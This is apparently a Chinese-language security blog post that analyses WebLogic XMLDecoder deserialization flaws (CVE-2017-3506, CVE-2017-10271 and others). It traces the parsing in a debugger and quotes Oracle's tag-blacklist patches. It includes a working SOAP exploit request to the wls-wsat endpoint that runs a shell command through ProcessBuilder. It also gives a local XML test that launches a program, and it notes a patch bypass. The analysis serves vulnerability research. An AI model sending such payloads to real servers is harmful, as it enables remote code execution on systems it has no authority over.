基于XML的weblogic反序列化漏洞
紧跟上文,这篇来分析一下基于XMLweblogic反序列化漏洞,这里xml本身就是序列化对象,通过XMLDecoder进行反序列化解析(循环遍历XML数据并进行拼接处理),最终拼接出完整的恶意语句并执行,列出CVE:CVE-2017-3506、CVE-2017-10271、CVE-2019-2729、CVE-2019-2725
漏洞复现
对weblogic服务http://xxx:7001/wls-wsat/CoordinatorPortType
发送如下数据包
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>touch /tmp/1234</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
本人在服务器搭建环境,没想到两天就被人打了。。。
调试分析
当xml数据传入到XMLDecoder.readObejct
后经过多个parse处理会传入到scanDocument
方法里,这个方法会循环解析XML标签并交由相应的Handler进行处理,且子标签的handler对父标签的handler由链表结构串联起来,最后进行拼接达到执行,先写一个1.xml文件
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
import java.beans.XMLDecoder;
import java.io.*;
public class test {
public static void main(String[] args) throws FileNotFoundException {
String s = "1.xml";
XMLDecoder xmlDecoder = new XMLDecoder(new FileInputStream(s));
Object o = xmlDecoder.readObject();
System.out.println(o);
}
}
贴一张解析链的图
在xmlDecoder.readObject()
处下断点。进行跟进()
继续跟进到parsingComplete
方法
调用了parse方法处理我们输入的xml数据,跟进parse
is参数非空,继续跟进
继续跟进父类的parse
继续跟进parse,再跟进几个parse
这里来到scanDocument
,继续跟进
来到scanDocument
中,这里循环执行了next()
方法,在前十几个循环里,这个方法对XML进行了解析和事件处理。大致的处理流程是对每一个解析到的标签先实例化对应的handler,然后循环调用addAttribute
方法获取其所有属性并进行一定的事件处理,当解析到某个标签的结束标签时(如</java>
) 便会调用getValueObject
获取标签中的值的信息
do while循环调用next
就像上面所说的,这里会循环去找对应的handler,我们来到DocumentHandler
对每一个handler加上断点
我们XML中第一个标签是JAVA,于是我们在JavaElementHandler
各方法下断点后,可以发现next方法内部会先实例化JavaElementHandler
,然后调用addAttribute
,将获取的类对象(java.beans.XMLDecoder)
置入this。
然后自然是解析object标签,由于ObjectElementHandler
未定义对class属性的解析,所以会调用父类NewElementHandler
对其进行解析,将获取的类对象(java.lang.ProcessBuilder)
置入this
接着解析array、void,这里先直接跳过了,解析到</string>
时来到StringElementHandler#getValueObject
,标签内的值经过ValueObjectImpl.create
处理后返回
然后将handler指向其父类VoidElementHandler
继续解析到void标签,此时的handler就是VoidElementHandler
,这里getContextBean()
来获得ProcessBuilder
方法,然后根据if逻辑判断这里void标签的作用,这里判断的void起到一个数组元素赋值的作用,于是便通过set方法往Array赋值,接着调用getValueObject
。但是因为没有重写该方法,所以仍然调用父类NewElementHandler
的getValueObject
。getValueObject
获取标签中的value值,这里的标签是string标签,所以获取到的值是calc。
最终在ObjectElementHandler
处理器中,拼接成了new ProcessBuilder(“calc”).start()
,使用Expression完成命令的执行。
修复
CVE-2017-3506
过滤了object标签,因为void和object的handler因为是父子类关系,所以把上面的object标签替换为void即可。
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}
CVE-2017-10271
继续把黑名单补全,可见除了object,还有method,new,array等标签都被做了处理。object,new,method标签直接被ban,void属性只能设置index,array的class只能设置为byte类型。
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
[Java安全]XMLDecoder反序列化漏洞解析流程分析
浅析weblogic 反序列化漏洞
WebLogic安全研究报告